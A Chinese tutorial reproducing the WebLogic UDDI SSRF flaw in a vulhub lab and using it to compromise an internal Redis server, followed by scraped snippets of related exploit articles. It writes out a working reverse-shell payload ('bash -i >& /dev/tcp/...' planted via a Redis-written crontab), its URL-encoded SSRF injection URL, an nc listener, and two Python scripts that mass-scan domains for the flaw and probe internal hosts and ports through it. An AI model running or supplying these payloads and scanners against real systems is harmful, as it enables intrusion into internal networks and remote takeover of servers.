weblogic SSRF vulhub 漏洞复现及攻击内网redis(附批量检测脚本)

0X01 概述

SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务。
利用SSRF能实现以下效果:
1)        扫描内网(主机信息收集,Web应用指纹识别)
2)        根据所识别应用发送构造的Payload进行攻击
3)        Denial of service

0X02 vulhub weblogic SSRF 漏洞复现

##环境搭建

下载vulhub:git clone https://github.com/vulhub/vulhub.git

启动环境:docker-compose up -d

访问:http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

出现以下页面,说明测试环境ok。

##漏洞复现

访问以下页面,确认是否存在SSRF漏洞。

http://192.168.220.142:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.220.144

其中,最后的operator参数为内网ip,若存在此报错: weblogic.uddi.client.structures.exception.XML_SoapException,说明存在SSRF漏洞。

##漏洞利用

【利用1】  探测内网存活ip

【利用2】  探测端口

【利用3】  攻击redis

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

①查看docker redis的ip地址

docker ps

docker exec -it 7b12841eedbf ip addr

172.22.0.2是docker redis的内网地址

②利用SSRF漏洞探测内网redis是否开放

③准备好攻击代码

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.220.140/2333 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

将上述攻击代码转换成URL编码:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

④实施攻击

kali监听端口:nc -lvvp 2333

浏览器访问:

http://192.168.220.142:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.22.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

反弹shell成功!

具体过程如下:

##漏洞检测

【脚本1】  批量检测weblogic_SSRF漏洞

将域名保存在domain.txt文件中,运行脚本,自动进行批量检测。

#!/usr/bin/env python
# -*- coding: utf-8 -*-# 功能:批量探测weblogic SSRF漏洞

import re
import sys
import Queue
import requests
import threading

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

queue = Queue.Queue()
mutex = threading.Lock()

class Weblogic_SSRF_Check(threading.Thread):
    """docstring for Weblogic_SSRF_Check"""
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue

    def check(self,domain,ip):
        payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
        url = domain + payload

        try:
            html = requests.get(url=url, timeout=15, verify=False).content

            m = re.search(‘weblogic.uddi.client.structures.exception.XML_SoapException‘,html)
            if m:
                mutex.acquire()
                with open(‘ssrf.txt‘,‘a+‘) as f:
                    print "%s has weblogic ssrf." % domain
                    f.write("%s has weblogic ssrf.\n" % domain)
                mutex.release()
        except Exception,e:
            pass

    def get_registry(self,domain):
        payload = ‘uddiexplorer/SetupUDDIExplorer.jsp‘
        url = domain + payload

        try:
            html = requests.get(url=url, timeout=15, verify=False).content
            m = re.search(‘<i>For example: (.*?)/uddi/uddilistener.*?</i>‘,html)
            if m:
                return m.group(1)
        except Exception,e:
            pass

    def run(self):
        while not self.queue.empty():
            domain = self.queue.get()
            mutex.acquire()
            print domain
            mutex.release()
            ip = self.get_registry(domain)
            self.check(domain,ip)

            self.queue.task_done()

if __name__ == ‘__main__‘:
    with open(‘C:\\Users\\m\\domain.txt‘,‘r‘) as f:
        lines = f.readlines()
    for line in lines:
        queue.put(line.strip())

    for x in xrange(1,50):
        t = Weblogic_SSRF_Check(queue)
        t.setDaemon(True)
        t.start()
    queue.join()

【脚本2】  通过weblogic_SSRF漏洞探测内网ip及端口

--url参数:存在weblogic SSRF漏洞的url

--ip参数:想扫描的内网网段

#!/usr/bin/env python
# coding: utf-8
# 功能:扫描内网开放ip及端口

import argparse
import thread
import time
import re
import requests

def ite_ip(ip):
    #for i in range(1, 256):
    for i in range(139, 146):
        final_ip = ‘{ip}.{i}‘.format(ip=ip, i=i)
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    #ports = (‘21‘, ‘22‘, ‘23‘, ‘53‘, ‘80‘, ‘135‘, ‘139‘, ‘443‘, ‘445‘, ‘1080‘, ‘1433‘, ‘1521‘, ‘3306‘, ‘3389‘, ‘4899‘, ‘8080‘, ‘7001‘, ‘8000‘)
    ports = ( ‘80‘, ‘445‘,‘22‘,‘6379‘)
    for port in ports:
        vul_url = args.url + ‘/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search‘ % (final_ip, port)
        try:
            r = requests.get(vul_url, timeout=15, verify=False)
            result0 = re.findall(‘weblogic.uddi.client.structures.exception.XML_SoapException‘, r.content)
            result1 = re.findall(‘route to host‘, r.content)
            result2 = re.findall(‘but could not connect‘, r.content)
            if len(result0) != 0 and len(result1) == 0 and len(result2) == 0:
                out = "port exist: " + final_ip + ‘:‘ + port
                print out
        except Exception, e:
            pass

def get_ip():
    vul_url = args.url + ‘/uddiexplorer/SetupUDDIExplorer.jsp‘
    r = requests.get(vul_url, timeout=15, verify=False)
    reg = re.compile(r"For example: http://\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\ b")
    result1 = reg.findall(r.content)
    result = ""
    if result1:
        result = result1[0].replace("For example: http://","")
    return result

if __name__ == ‘__main__‘:
    parser = argparse.ArgumentParser(description=‘Weblogic SSRF vulnerable exploit‘)
    parser.add_argument(‘--url‘, dest=‘url‘, required=True, help=‘Target url‘)
    parser.add_argument(‘--ip‘, dest=‘scan_ip‘, help=‘IP to scan‘)
    args = parser.parse_args()
    ip = ‘.‘.join(args.scan_ip.split(‘.‘)[:-1])
    #print ip
    #ip = get_ip()
    if ip:
        ite_ip(ip)
    else:
        print "no ip"

原文地址:https://www.cnblogs.com/flokz/p/weblogic_SSRF.html

时间: 2025-01-21 22:02:01

weblogic SSRF vulhub 漏洞复现及攻击内网redis(附批量检测脚本)的相关文章

WebLogic XMLDecoder反序列化漏洞复现

参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://github.com/vulhub/vulhub.git cd vulhub/weblogic/ssrf/ docker-compose up -d 这时我们就可以访问docker中weblogic的地址,地址为ubuntu(IP):7001,访问 http://192.168.126.142:7001/ 如下图搭建成功. 检验POC import req

Weblogic-SSRF 漏洞复现

0x01 环境搭建 我这里使用的是vulhub,它几乎包含了所有的漏洞环境.(建议安装在ubuntu上) 有需要的小伙伴来企鹅群自取. 安装好vulhub之后需要cd 到weblogic ssrf 目录下 然后启动测试环境 docker-compose build docker-compose up -d 此次环境搭建在Ubuntu上 0x02 漏洞简介 Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis.fastcgi等脆弱组件. 0x03 影

内网ARP攻击

ARP攻击内网的网络现象: 突发性瞬间断线,快速连上,期间上网速度越来越慢,一段时间又瞬间断线. ARP攻击内网诊断: 1.断线时(ARP攻击木马程序运行时)在内网的PC上执行ARP –a命令,看见网关地址的mac地址信息不是路由器的真实mac地址: 2.内网如果安装sniffer软件的话,可以看到ARP攻击木马程序运行时发出海量的ARP查询信息. 内网被攻击原因: ARP攻击木马程序运行时,将自己伪装成路由器,所有内网用户上网从由路由器上网转为从中毒电脑上网,切换过程中用户会断一次线.过程用户

安天实战课题研究2017年第二期内网渗透技术题目

安天实战课题研究2017年第二期内网渗透技术题目拟研究以下题目:1.使用NTScan扫描内网Windows口令(已经完成)2.使用Hscan进行内网口令扫描 (已经完成)3.扫描Mysql口令 (已经完成)4.扫描MSSQL口令 (已经完成)5.使用SQLTools查看SQL Server数据库及提权 (已经完成)6.内网信息收集工具7.内网信息自动收集脚本8.内网密码获取工具9.服务器明文密码及hash获取10.Windows及Linux密码哈希破解11.远程终端使用攻略 (已经完成)12.记

[漏洞复现] CVE-2018-4878 Flash 0day

1.漏洞概述 2018年2月1号,Adobe官方发布安全通报(APSA18-01),声明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878). 攻击者通过构造特殊的Flash链接,当用户用浏览器/邮件/Office访问此Flash链接时,会被"远程代码执行",并且直接被getshell. 直到2018年2月5号,Adboe才发布补丁来修复此0 day漏洞. 互联网上出现的基于此Flash 0day漏洞进行攻击的样本,其实在2017年底就

ms17_010(永恒之蓝)漏洞复现详细教程

如题,这是个漏洞复现的详细教程,本教程针对的系统是Windows7操作系统,其他系统请自行测试. 备注:教程会很详细,讲解会很明白,一文可以解决你的常见困难. 测试环境 kalilinux 192.168.1.109 (主机) windows7 192.168.1.104 (虚拟机) 开始 首先使用 nmap 命令扫描局域网内的所有主机(因为ms17_010漏洞的最基本要求是需要开启445端口),这里使用nmap的最基本的扫描,直接命令后跟ip,nmap 192.168.1.1/24(扫描整个局

XXE漏洞复现步骤

0X00XXE注入定义 XXE注入,即XML External Entity,XML外部实体注入.通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据.所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它.当引用外部实体时,通过构造恶意内容,可导致读取任意文件.执行系统命令.探测内网端口.攻击内网网站等危害. 0X01漏洞原理 既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在

IT公司常见的内网漏洞表格

访问控制类漏洞与隐患 这一类漏洞与隐患属于访问控制与身份鉴别问题,一般有没有配置访问控制.访问控制弱(弱口令或者空口令),身份鉴别可以绕过等问题 漏洞协议组件 漏洞类型 漏洞评级 SSH 弱口令 严重 RDP 未授权.弱口令 严重 SMB 未授权.弱口令 严重 FTP 匿名.弱口令 严重 Telnet 未授权.弱口令 严重 MySQL 未授权.弱口令 严重 PostgreSQL 弱口令 严重 MongoDB 未授权.弱口令 严重 Redis 未授权.弱口令 严重 Elasticsearch 未授

[漏洞复现] CVE-2017-11882 通杀所有Office版本

此漏洞是由Office软件里面的 [公式编辑器] 造成的,由于编辑器进程没有对名称长度进行校验,导致缓冲区溢出,攻击者通过构造特殊的字符,可以实现任意代码执行. 举个例子,如果黑客利用这个漏洞,构造带有shell后门的office文件,当普通用户打开这个office文件,则电脑可以被黑客直接控制. 影响版本: office 2003 office 2007 office 2010 office 2013 office 2016 漏洞复现环境 Kali2017 + windows 7 + offi